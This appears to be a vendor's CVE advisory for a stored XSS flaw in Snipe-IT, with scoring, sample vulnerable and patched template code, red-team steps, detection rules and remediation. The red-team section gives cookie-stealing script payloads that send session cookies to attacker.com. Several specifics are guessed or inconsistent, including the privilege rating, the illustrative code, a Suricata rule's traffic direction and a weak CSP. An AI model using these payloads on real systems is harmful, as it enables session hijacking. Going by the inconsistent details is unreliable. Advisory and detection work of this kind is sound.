CVE-2025-59712
Executive Summary
CVE-2025-59712 is a stored Cross-Site Scripting (XSS) vulnerability affecting Snipe-IT, an open-source asset management system. The flaw exists in versions prior to 8.1.18, allowing an authenticated attacker with asset creation or editing privileges to inject arbitrary JavaScript into asset fields. When an administrator or other user views the malicious asset, the script executes in their browser session, potentially leading to session hijacking, data exfiltration, or further compromise of the Snipe-IT instance. The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS probability of exploitation (0.0%). No public proof-of-concept or exploit code is currently available, but the risk is elevated due to the widespread use of Snipe-IT in enterprise environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Snipe-IT is a PHP/Laravel application distributed via GitHub and Docker. The vulnerability is introduced through insufficient input sanitization in the application’s asset management forms. Since Snipe-IT is often deployed with Docker images, organizations should verify they are using the latest tagged image (snipe/snipe-it:latest or snipe/snipe-it:v8.1.18). The package itself is not distributed via NPM, PyPI, Go, or Ruby, but its dependencies (Composer packages) should be audited for any secondary vulnerabilities.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N) – but note that exploitation requires a user to interact with a crafted asset.
- User Interaction: Required (UI:R) – the victim must view the malicious asset.
- Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of data.
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement within an organization’s asset management system elevates the risk. The lack of a public exploit reduces immediate urgency, but the vulnerability is trivial to exploit once discovered.
Deep Dive & Mechanics
The vulnerability resides in the asset creation and editing functionality of Snipe-IT. The application fails to properly sanitize user-supplied input in fields such as asset name, serial number, or custom fields. When an attacker injects a payload like <script>alert('XSS')</script> into one of these fields, the input is stored in the database without encoding. When an administrator or other user views the asset details page, the payload is rendered in the browser, executing the attacker’s JavaScript.
The root cause is the lack of output encoding in Blade templates or the use of {!! $value !!} (unescaped output) instead of {{ $value }} (escaped output) in the view layer. The fix in version 8.1.18 likely involves adding proper HTML entity encoding to all user-controlled fields displayed in asset views.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-8.1.18):
// In a Blade template (e.g., resources/views/assets/view.blade.php)
<div class="form-group">
<label>Asset Name</label>
<p>{!! $asset->name !!}</p> <!-- Unescaped output -->
</div>
Patched Code (8.1.18+):
// In the same Blade template
<div class="form-group">
<label>Asset Name</label>
<p>{{ $asset->name }}</p> <!-- Escaped output using Blade's double curly braces -->
</div>
The patch replaces {!! !!} (unescaped) with {{ }} (escaped), which automatically applies htmlspecialchars() to the output, preventing XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a Snipe-IT instance (version < 8.1.18) with an account that has asset creation or editing privileges.
- A target user (e.g., an administrator) who will view the malicious asset.
Steps:
- Log in to Snipe-IT.
- Navigate to Assets > Create Asset.
- In the Asset Name field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Fill in other required fields (e.g., Asset Tag) and save the asset.
- Wait for an administrator to view the asset list or the specific asset detail page.
- The victim’s browser will execute the script, sending their session cookie to the attacker’s server.
Alternative Payload (Session Hijacking):
<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor web application logs for unusual input patterns in asset fields (e.g.,
<script>,onerror=,javascript:). - Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests to
/assets/createor/assets/*/edit. - Deploy endpoint detection and response (EDR) to monitor for unexpected outbound connections from the Snipe-IT server.
Hardening:
- Immediately upgrade to Snipe-IT 8.1.18 or later.
- If upgrade is not possible, implement a Content Security Policy (CSP) header to restrict script execution:
(Note:Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"'unsafe-inline'is required for some Snipe-IT functionality, but it reduces CSP effectiveness.) - Enforce strict input validation on the server side using Laravel’s validation rules (e.g.,
'name' => 'required|string|max:255').
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar parameters. - Unusual POST requests to
/assets/createor/assets/*/editwith payloads containing<script>tags.
- Outbound HTTP requests to attacker-controlled domains containing
- File System IOCs:
- Modified database entries in the
assetstable withnameorserialfields containing JavaScript. - Log entries in
storage/logs/laravel.logshowing failed validation attempts or suspicious input.
- Modified database entries in the
- Behavioral IOCs:
- Unexpected creation of assets with non-standard names (e.g., containing HTML tags).
- Administrator accounts performing actions without user interaction (session hijacking).
Detection Engineering
YARA Rule
rule CVE_2025_59712_XSS_Payload {
meta:
description = "Detects XSS payloads targeting Snipe-IT CVE-2025-59712"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59712"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /javascript\s*:\s*/i
condition:
any of them
}
Sigma Rule
title: Snipe-IT XSS Attempt (CVE-2025-59712)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in Snipe-IT asset creation/editing requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/assets/create'
- '/assets/*/edit'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in asset descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59712 Snipe-IT XSS Payload Outbound"; flow:to_server,established; content:"POST"; http_method; content:"/assets/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Snipe-IT to version 8.1.18 or later. For Docker deployments:
docker pull snipe/snipe-it:latest docker-compose up -d - Verify Patch: After upgrade, check that asset fields are properly escaped by attempting to create an asset with
<script>alert(1)</script>in the name field. If the script executes, the patch is not applied.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce strict Content Security Policy (CSP) headers.
- Conduct regular security audits of custom fields and input handling.
- Train users to avoid clicking on suspicious assets or links.
Workaround (If Upgrade Is Not Possible):
- Manually edit Blade templates to replace
{!! !!}with{{ }}in all asset-related views. - Disable asset creation for non-admin users temporarily.
Valters IT